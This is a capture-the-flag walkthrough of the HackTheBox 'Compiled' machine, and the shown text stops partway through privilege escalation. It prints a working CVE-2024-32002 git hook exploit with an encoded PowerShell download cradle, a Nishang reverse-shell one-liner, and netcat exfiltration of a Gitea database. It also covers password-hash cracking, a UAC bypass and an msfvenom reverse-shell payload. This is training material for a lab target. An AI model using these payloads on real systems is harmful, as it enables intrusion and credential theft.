Compiled – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Medium
  • Platform: HackTheBox

‘Compiled’ Avatar


Summary Link to heading

“Compiled” is a medium machine from HackTheBox platform. We find a web service that clones Git repositories. Additionally, we are able to find a Gitea instance running in the victim machine that shows some repositories. We are able to create a malicious repository in the internal Gitea service that abuses a vulnerability labeled as CVE-2024-32002 that allows Remote Code Execution. Abusing this vulnerability we are able to gain access to the victim machine. Once inside, we find an SQLite database in the victim machine, where we find hashes and salts for passwords with pbkdf2 algorithm; where we are able to crack and find the password for a new user. This new user has access through WinRM; or we can pivot with this user with RunasCs tool ass well. Once as this new user, we are able to see that the target machine was running a vulnerable service of Visual Studio software to CVE-2024-20656, which allow us to execute code and eventually gain access as nt authority/system.


User Link to heading

Starting with a quick Nmap scan:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.26

Shows 4 ports open: 3000, 5000, HTTP sites, 5985 Windows Remote Management and 7680.

Applying some recognition scans with -sVC flag shows:

❯ sudo nmap -sVC -p3000,5000,5985,7680 10.10.11.26

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-08 02:24 -03
Nmap scan report for 10.10.11.26
Host is up (0.33s latency).

PORT     STATE SERVICE    VERSION
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=389dcb552a48c041; Path=/; HttpOnly; SameSite=Lax
<SNIP>
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Date: Sun, 08 Dec 2024 05:25:20 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5234
|     Connection: close
|     <!DOCTYPE html>
<SNIP>
5985/tcp open  http       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp open  pando-pub?
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
<SNIP>
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.67 seconds

Using WhatWeb against ports 3000 and 5000 returns:

❯ whatweb -a 3 http://10.10.11.26:3000/

http://10.10.11.26:3000/ [200 OK] Cookies[_csrf,i_like_gitea], Country[RESERVED][ZZ], HTML5, HttpOnly[_csrf,i_like_gitea], IP[10.10.11.26], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[Git], X-Frame-Options[SAMEORIGIN]

❯ whatweb -a 3 http://10.10.11.26:5000/

http://10.10.11.26:5000/ [200 OK] Bootstrap[4.5.2], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/3.0.3 Python/3.12.3], IP[10.10.11.26], JQuery, Python[3.12.3], Script, Title[Compiled - Code Compiling Services], Werkzeug[3.0.3]

Port 3000 shows a Gitea service whereas port 5000 seems to be running a web page using Flask. Visiting http://10.10.11.26:3000 shows, as expected, a site running Gitea:

Compiled 1

We create an account in this Gitea site, and then go to Explore to view some exposed/public repositories. There we can see 2 repositories:

Compiled 2

We can see 2 repositories that belong to richard user. Checking Compiled repository shows a description for the repository:

Compiled 3

Welcome to Compiled, your one-stop solution for compiling C++, C#, and .NET projects. This web application allows users to input GitHub repository URLs and get their projects compiled effortlessly.

In summary, it is a page that compiles C, C# and Microsoft .NET projects. Sometimes, when we try to download a repository, it only contains .sln (for C#) or .c (for C) files. So, apparently, this site compiles files contained in a repository.

The site also provides a Usage section:

Once the application is up and running, follow these steps to compile your projects:

1. Open your web browser and navigate to http://localhost:5000.
2. Enter the URL of your GitHub repository (must be a valid URL starting with http:// and ending with .git).
3. Click the Submit button.
4. Wait for the compilation process to complete and view the results.

Checking the other project for richard, called Calculator, shows:

Compiled 4

The page shows a simple calculator script in C#, how to build it and execute it, but nothing besides that.

At this point we can also check other HTTP page running on port 5000. Visiting http://10.10.11.26:5000 shows a compiler for C, C# and Microsoft .NET:

Compiled 5

Based on how the site looks, we assume that the code at Compiled Gitea repository (that also included an app.py file for Flask) is the code running in this webpage.

First of all, we want to the if the compiler works. For this we could create a simple C# file, or we can just clone Calculator repository in our attacker machine, expose it through a HTTP server and check if it works. Clone Calculator repository:

❯ git clone http://10.10.11.26:3000/richard/Calculator.git

Cloning into 'Calculator'...
remote: Enumerating objects: 25, done.
remote: Counting objects: 100% (25/25), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 25 (delta 7), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (25/25), 8.81 KiB | 2.94 MiB/s, done.
Resolving deltas: 100% (7/7), done.

Exposing the cloned files through a temporal HTTP Python server on port 8000:

❯ ls -la && python -m http.server 8000

total 36
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec  8 02:57 .
drwxrwxr-x 3 gunzf0x gunzf0x 4096 Dec  8 02:57 ..
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Dec  8 02:57 Calculator
-rw-rw-r-- 1 gunzf0x gunzf0x 1420 Dec  8 02:57 Calculator.sln
drwxrwxr-x 8 gunzf0x gunzf0x 4096 Dec  8 02:58 .git
-rw-rw-r-- 1 gunzf0x gunzf0x 2518 Dec  8 02:57 .gitattributes
-rw-rw-r-- 1 gunzf0x gunzf0x 6223 Dec  8 02:57 .gitignore
-rw-rw-r-- 1 gunzf0x gunzf0x 3308 Dec  8 02:57 README.md
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and then requesting the repository in the compiler webpage returns an error:

Compiled 6

The site must be a valid .git site.

We could download a Docker Gitea container, deploy Gitea there and upload our projects there. Or, since we have a site already running Gitea and we are allowed to create an account, we can use Gitea service on the victim machine to upload/refer to projects there. For example, if we pass as url to the compiler site the url http://10.10.11.26:3000/richard/Calculator.git (which is the Calculator Git instance) we get from the webpage the response:

Compiled 7

We only get the text Your git repository is being cloned for compilation. But nothing else happens.

We then must find a way to execute commands or inject commands while the program is compiled and/or cloned (as the text says, the project is cloned). Searching for Remote Code Execution exploits (or similar) for Git returns a vulnerability labeled as CVE-2024-32002. The phrase that catches our attention is This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed. So the exploit is triggered when the repository is cloned, as the webpage said. Searching more for this vulnerability for a PoC, we reach this blog. Reading a little bit, this user provides the following exploit as a Bash script:

#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "amal_was_here" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# Define the hook repository path
hook_repo_path="$(pwd)/hook"

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

In short, this script:

  1. Sets global Git configurations
  2. Defines a tell-tale file.
  3. Create a malicious repository called hook containing a payload, where they provide commands to be executed (with examples for different OS: echo "amal_was_here" > /tmp/pwnd for Linux, calc.exe for Windows and open -a Calculator.app for macOS).
  4. Prepares a submodule in another repository called captain. It adds as a submodule hook repository in this new repository.
  5. Creates a symbolic link .git that will trigger the command execution when this is cloned.
  6. Executes the command cloning captain malicious repository into a new repository called hooked (not hook).

We can then slightly modify this script for our purposes. I will just make 2 main changes: i). The author also provides this Github repository with all the needed files. I will slightly change the Bash script provided for 2 reasons: i) The script is executing hooks repository in local (i.e., it is executing hook locally instead of cloning it from a remote repository hosted in platforms like Gitea); ii) Since the victim machine is a Windows machine, we want to execute a command that send us a reverse shell.

In the blog, they also show how to fix our point i). Basically, we must change:

$ cat captain/.gitmodules
[submodule "x/y"]
        path = A/modules/x
        url = C:/Users/user/rce/hook

to look like:

[submodule "x/y"]
	path = A/modules/x
	url = git@github.com-hook:amalmurali47/hook.git

Just to check how are repositories named in the victim machine, we can go to our created account at Gitea site, create a new repository, select/tick the option to add README.md files, license and others and create the repository. In this case we just have:

Compiled 8

So, to clone this repository, we can use:

http://10.10.11.26:3000/gunzf0x/test_repo.git

for HTTP or:

COMPILED\Richard@gitea.compiled.htb:gunzf0x/test_repo.git

for SSH. I will just use the first option, but you can also try with the second one.

As a command, we can just set a “cradle” to send us a reverse shell. We do this since it could be that we might get blocked attempting to get a shell. Usually what we do to obtain a reverse shell is:

  1. Send a payload to the target machine.
  2. Obtain a reverse shell in a listener. But with a “cradle” the steps are:
  3. Store a payload that send us a reverse shell in a file
  4. Store that file into a temporal HTTP server
  5. Send a payload to request the payload at the temporal HTTP server
  6. Obtain a reverse shell in a listener.

If we get a response in the HTTP server requesting the file, but we never get a reverse shell, it might indicate that we have reached command execution but the shell gets blocked by some antivirus or Windows Defender.

As a payload that will send us a reverse shell we select Nishang TCP Oneliner script for Powershell:

$client = New-Object System.Net.Sockets.TCPClient('10.10.16.2',443);$stream = $client.GetStream();[byte[`$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Where we have slightly modified the original script to the IP address 10.10.16.2 (our attacker IP address) and port 443 (the port we will start listening with netcat to obtain a shell). We store this script in a file called rev.ps1.

Then craft the “cradle” that is just a request to rev.ps1 through Powershell being exposed on port 8000. Encode it to utf-16le (which is how Powershell interprets chars) and encode it on base64:

❯ echo -n 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.2:8000/rev.ps1")' | iconv -t utf-16le | base64 -w0; echo

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIAOgA4ADAAMAAwAC8AcgBlAHYALgBwAHMAMQAiACkA

Then just expose rev.ps1 in a temporal HTTP Python server on port 8000:

❯ ls -la && python3 -m http.server 8000

total 12
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Dec  8 04:30 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Dec  8 02:23 ..
-rw-rw-r-- 1 gunzf0x gunzf0x  500 Dec  8 04:30 rev.ps1
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

We have the payloads for Windows commands ready. Now let’s create the payloads for Git. First, create two repositories: one called hook and other called captain in our created Gitea and leave them empty:

Compiled 9

and we have both repositories needed created:

Compiled 10

Now, to execute commands we slightly modify the Bash PoC provided and adapt it:

#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main 


# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"

# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks

# Write the malicious code to a hook (CHANGED TO GET A REVSHELL)
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIAOgA4ADAAMAAwAC8AcgBlAHYALgBwAHMAMQAiACkA
EOF

# Make the hook executable: important
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"
# Set origin where "hook" has been uploaded to Git in the victim machine
hook_repo_path='http://10.10.11.26:3000/gunzf0x/hook.git'

git remote add origin $hook_repo_path
# Upload the files
git push -u origin main

cd ..

# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
# Upload files to created "captain" repository to Git in the victim machine
git remote add origin http://10.10.11.26:3000/gunzf0x/captain.git
git push -u origin main

cd ..

and execute it:

❯ bash git_exploit.sh

Initialized empty Git repository in /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/hook/.git/
[main (root-commit) e7fbcf1] post-checkout
 1 file changed, 2 insertions(+)
 create mode 100755 y/hooks/post-checkout
Username for 'http://10.10.11.26:3000': gunzf0x
Password for 'http://gunzf0x@10.10.11.26:3000':
<SNIP>

Whenever the script asks for user and password just use the credentials you have used in your created account in the Gitea instance.

We can check that both repositories now contain the malicious files needed:

Compiled 11

Also remember to check that .gitmodules in captain repository points to the malicious repository:

Compiled 12

Expose rev.ps1 in a temporal HTTP server with Python:

❯ ls -la && python3 -m http.server 8000

total 24
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec  8 04:55 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Dec  8 02:23 ..
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec  8 04:55 captain
-rwxrwxr-x 1 gunzf0x gunzf0x 1620 Dec  8 04:51 git_exploit.sh
drwxrwxr-x 4 gunzf0x gunzf0x 4096 Dec  8 04:55 hook
-rw-rw-r-- 1 gunzf0x gunzf0x  500 Dec  8 04:30 rev.ps1
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Start a netcat listener along with rlwrap on port 443:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

and in the page on port 5000 send the captain repository. After like a minute we get a request in our HTTP server, and after that a shell as Richard user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 63452
whoami
Richard
PS C:\Users\Richard\source\cloned_repos\6shma\.git\modules\x> whoami

Richard

Searching for files we eventually find a .db file at C:\ProgramFiles\Gitea\data called gitea.db:

PS C:\Program Files\Git> cmd /c dir "C:\Program Files\*.db" /s
 Volume in drive C has no label.
 Volume Serial Number is 352B-98C6

 Directory of C:\Program Files\Gitea\data

12/08/2024  08:59 AM         2,023,424 gitea.db
               1 File(s)      2,023,424 bytes

     Total Files Listed:
               1 File(s)      2,023,424 bytes
               0 Dir(s)  10,047,758,336 bytes free

To transfer this file we can use a netcat binary for Windows.

First, pass the netcat binary from our attacker machine to the victim Windows machine. As usual, expose that file in a temporal HTTP Python server, and download that file using certutil in the Windows machine:

PS C:\Program Files\Git> certutil.exe -f -split -urlcache http://10.10.16.2:8000/nc64.exe C:\Users\Richard\Downloads\nc.exe

****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

Then, transfer gitea.db file in our attacker machine. For that start a listener on our attacker machine on another port like 4444 and store all the data received on a file named gitea.db:

❯ nc -lvnp 4444 > gitea.db

listening on [any] 4444 ...

and in the victim machine use the netcat binary to transfer the file:

PS C:\Program Files\Git> cmd /c 'C:\Users\Richard\Downloads\nc.exe 10.10.16.2 4444 < C:\"Program Files"\Gitea\data\gitea.db'

After like a minute we can stop the process (Ctrl+C) in our attacker machine. It is an SQLite file:

❯ file gitea.db

gitea.db: SQLite 3.x database, last written using SQLite version 3042000, file counter 720, database pages 494, 1st free page 494, free pages 1, cookie 0x1cb, schema 4, UTF-8, version-valid-for 720

Check its content using SQLite in our attacker machine:

❯ sqlite3 gitea.db

SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .tables

<SNIP>
language_stat              upload
lfs_lock                   user
lfs_meta_object            user_badge
<SNIP>

We have a user table. Checking its column names shows:

sqlite> PRAGMA table_info(user);

0|id|INTEGER|1||1
1|lower_name|TEXT|1||0
2|name|TEXT|1||0
3|full_name|TEXT|0||0
4|email|TEXT|1||0
5|keep_email_private|INTEGER|0||0
6|email_notifications_preference|TEXT|1|'enabled'|0
7|passwd|TEXT|1||0
8|passwd_hash_algo|TEXT|1|'argon2'|0
9|must_change_password|INTEGER|1|0|0
10|login_type|INTEGER|0||0
11|login_source|INTEGER|1|0|0
12|login_name|TEXT|0||0
13|type|INTEGER|0||0
<SNIP>

We have usernames and passwords; and more.

We check some interesting columns:

sqlite> select lower_name, name, email, passwd, passwd_hash_algo, salt from user;
administrator|administrator|administrator@compiled.htb|1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d|pbkdf2$50000$50|a45c43d36dce3076158b19c2c696ef7b
richard|richard|richard@compiled.htb|4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e|pbkdf2$50000$50|d7cf2c96277dd16d95ed5c33bb524b62
emily|emily|emily@compiled.htb|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|pbkdf2$50000$50|227d873cca89103cd83a976bdac52486
gunzf0x|gunzf0x|gunzf0x@compiled.htb|b9d5e695a7f4495ad46477262659d757071dab51983b97b20519e3068ed95d8fd2668469b02daf269591bbf94c9d199df7f4|pbkdf2$50000$50|67769c632307eeae38492e09e2f86d2b

We have salted hashes using PBKDF2 algorithm. Basically, here the important columns are name for the username, passwd is the hashed password, passwd_hash_algo sets the hash algorithm type and salt is the salt for the user.

Not counting the last hash (which is the hash for our user), we have found 3 hashes:

1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d
4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e
97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16

and also save their salts:

a45c43d36dce3076158b19c2c696ef7b
d7cf2c96277dd16d95ed5c33bb524b62
227d873cca89103cd83a976bdac52486

Where the first salt corresponds to the first hash found and so on… We save them into two files.

This blog gives an excellent explanation about PBKDF2 hashing algorithm. Searching for pbkdf2 Gitea yields to this security configuration Cheat-Sheet for Gitea. There they talk about password_hash_algo parameter:

Info

The hash functions may be tuned by using $ after the algorithm:

  • argon2$<time>$<memory>$<threads>$<key-length>
  • bcrypt$<cost>
  • pbkdf2$<iterations>$<key-length>
  • scrypt$<n>$<r>$<p>$<key-length>
Since we have found pbkdf2$50000$50 for password_hash_algo, this means we have 50000 iterations and 50 key length.

Fortunately, hashlib has a function to deal with this type of hashes. It requires a hash_name (hash type, like SHA256), a password, salt, iterations and dklen (length of the derived key in bytes). The example they provide is:

from hashlib import pbkdf2_hmac

our_app_iters = 500_000  # Application specific, read above.
dk = pbkdf2_hmac('sha256', b'password', b'bad salt' * 2, our_app_iters)
print (dk.hex())
# '15530bba69924174860db778f2c6f8104d3aaf9d26241840c8c4a641c8d000a9'

We then build a similar script using the data needed:

import binascii
from hashlib import pbkdf2_hmac 

# Set parameters found in .db file
n_iter: int = 50_000
key_length_val: int = 50


def find_matching_password(dictionary_file, target_hash, salt, iterations=n_iter, key_length=key_length_val):
    """
    Find matching password from dictionary file.
    """
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    # Read rockyou.txt
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        for line in file:
            password = line.strip()
            computed_hash = pbkdf2_hmac('sha256',  password.encode('utf-8'), salt,  iterations,  dklen=key_length)
            
            # Check if hash is correct
            if computed_hash == target_hash_bytes:
                print(f"[+] Password found: {password}")
                return password

    print("[-] Password not found.")
    return None

# Parameters
salt = binascii.unhexlify('227d873cca89103cd83a976bdac52486')  # Salt value from gitea.db
target_hash = '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16'  # Hash sourced from gitea.db
dictionary_file = '/usr/share/wordlists/rockyou.txt'  # Path to dictionary file

# Find matching password
find_matching_password(dictionary_file, target_hash, salt)

Here the password for emily user works:

❯ python3 crack_pass_with_hash.py

[+] Password found: 12345678

Another way, without a Python script, is using the format:

<hashing-algorithm>:<iterations>:<hex-to-base64-salt>:<hex-to-base64r-hash>

Where the needed properties are:

  1. The hashing algorithm is sha256.
  2. Iterations, as we have seen, are 50000.
  3. Just pass the salt from hexadecimal to “normal text” and then to base64:
❯ echo -n '227d873cca89103cd83a976bdac52486' | xxd -r -p | base64

In2HPMqJEDzYOpdr2sUkhg==
  1. Repeat step 3, but with the hash found:
❯ echo -n '97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16' | xxd -r -p | base64

l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=

Then, just attempt a Brute Force Password Cracking with Hashcat. Acording to Hashcat example hashes, mode 10900 works:

❯ hashcat -m 10900 -a 0 -w 3 -O sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY= /usr/share/wordlists/rockyou.txt

<SNIP>
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=:12345678

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q...Io/BY=
<SNIP>

We have a potential password for this user. We can then use RunasCs to pivot to this user (that can be downloaded from its Github repository). Upload the RunasCs.exe file as we have done for other files before and use it to pivot to emily user:

PS C:\Program Files\Git> C:\Users\Richard\Downloads\runascs.exe 12345678 cmd.exe -r 10.10.16.2:443 -t 10 --bypass-uac

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-153257$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 5080 created in background.

and get a shell as emily user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.26] 60923
Microsoft Windows [Version 10.0.19045.4651]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
compiled\emily

Also, from Nmap scan, we can remember that WinRM service was running on the victim machine. Maybe emily has access through this service? We can check it using NetExec:

❯ nxc winrm 10.10.11.26 -u 'emily' -p '12345678'

WINRM       10.10.11.26     5985   COMPILED         [*] Windows 10 / Server 2019 Build 19041 (name:COMPILED) (domain:COMPILED)
WINRM       10.10.11.26     5985   COMPILED         [+] COMPILED\emily:12345678 (Pwn3d!)

It worked.

We can then connect to the victim machine using evil-winrm as well:

❯ evil-winrm -i 10.10.11.26 -u 'emily' -p '12345678'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Emily\Documents>

We can finally read the user flag at this user Desktop directory.


NT Authority/System - Administrator Link to heading

Checking emily Documents directory we can see:

*Evil-WinRM* PS C:\Users\Emily\Documents> dir


    Directory: C:\Users\Emily\Documents


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/20/2024   1:55 AM                Visual Studio 2019

It has a Visual Studio directory.

We can check running Windows services on the victim machine:

   *Evil-WinRM* PS C:\Users\Emily\Documents> services.msc

Path                                                                                                                           Privileges Service
----                                                                                                                           ---------- -------
<SNIP>
"C:\Program Files\Microsoft Update Health Tools\uhssvc.exe"                                                                         False uhssvc
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                              False VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                                 False VMTools
"C:\Program Files (x86)\Microsoft Visual Studio\Shared\Common\DiagnosticsHub.Collection.Service\StandardCollector.Service.exe"      False VSStandardCollectorService150
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\NisSrv.exe"                                                       True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\MsMpEng.exe"                                                      True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                                                                False WMPNetworkSvc

One of the services is related to Visual Studio called VSStandardCollectorService150.

Checking vulnerabilities for Visual Studio at MITRE shows many of them. Among them we find CVE-2024-20656 for VSStandardCollectorService150. We have this blog explaining this vulnerability. In short, this vulnerability takes advantage to write files, while the service is being executed, in an unrestricted folder, owned by nt authority/system, to write files/symbolic links to potential malicious files and execute them with privileges.

If we check running processes for Windows using evil-winrm we get an error:

*Evil-WinRM* PS C:\Users\Emily\Documents> Get-Service -Name "VSStandardCollectorService150"

Cannot find any service with service name 'VSStandardCollectorService150'.
At line:1 char:1
+ Get-Service -Name "VSStandardCollectorService150"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (VSStandardCollectorService150:String) [Get-Service], ServiceCommandException
    + FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand

but if we use CMD session obtained with RunasCs we are able to access to this service:

C:\Windows\system32>powershell.exe -command Get-Service -Name "VSStandardCollectorService150"
powershell.exe -command Get-Service -Name "VSStandardCollectorService150"

Status   Name               DisplayName
------   ----               -----------
Running  VSStandardColle... Visual Studio Standard Collector Se...

This tells us a hint for later: with RunasCs session we are able to access some services that we cannot access in evil-winrm session.

Searching for this vulnerability also provides this repository. However, building it and compiling it did not work for me. So I will use a fork of this repository instead. Following the steps of that fork, we must first create a malicious .exe file that send us a reverse shell with msfvenom:

❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.2 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe

No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

Using emily evil-winrm session, upload all the needed files into a directory named c:\exploit. Create that directory:

*Evil-WinRM* PS C:\Users\Emily\Downloads> mkdir c:\exploit


    Directory: C:\


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         12/8/2024   6:03 PM                exploit

and upload all the necessary files using upload function:

*Evil-WinRM* PS C:\Users\Emily\Documents> cd c:\exploit

*Evil-WinRM* PS C:\exploit> upload payload.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/payload.exe to C:\exploit\payload.exe

Data: 98400 bytes of 98400 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\exploit> upload RunasCs.exe runascs.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/RunasCs.exe to C:\exploit\runascs.exe

Data: 68948 bytes of 68948 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\exploit> upload Expl.exe

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Medium/Compiled/exploits/CVE-2024-20656/Expl.exe to C:\exploit\Expl.exe

Data: 346792 bytes of 346792 bytes copied

Info: Upload successful!

Once uploaded all the files, pass from evil-winrm a CMD session using RunasCs, bypassing UAC. Start a listener with netcat on port 443 and in the victim machine execute RunasCs:

Note
For some reason, I suspect due to User Account Control (UAC), if we don’t use RunasCs when we execute the exploit we will get the error The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance. in the chain attack later. The message clearly shows a problem with permissions, which is why I suspect it can be related to UAC and is bypassed with RunasCs.

Then, in the shell obtained with RunasCs, pass from a CMD to Powershell:

C:\Windows\system32>powershell

powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Windows\system32>

Then, export VSDiagnostics.exe path as the forked repository says:

PS C:\Windows\system32> $VSDiagnostics = Get-Item "C:\\*\\Microsoft Visual Studio\\*\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe" | Select -last 1

$VSDiagnostics = Get-Item "C:\\*\\Microsoft Visual Studio\\*\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe" | Select -last 1

Start a listener with netcat:

❯ rlwrap -cAr nc -lvnp 443

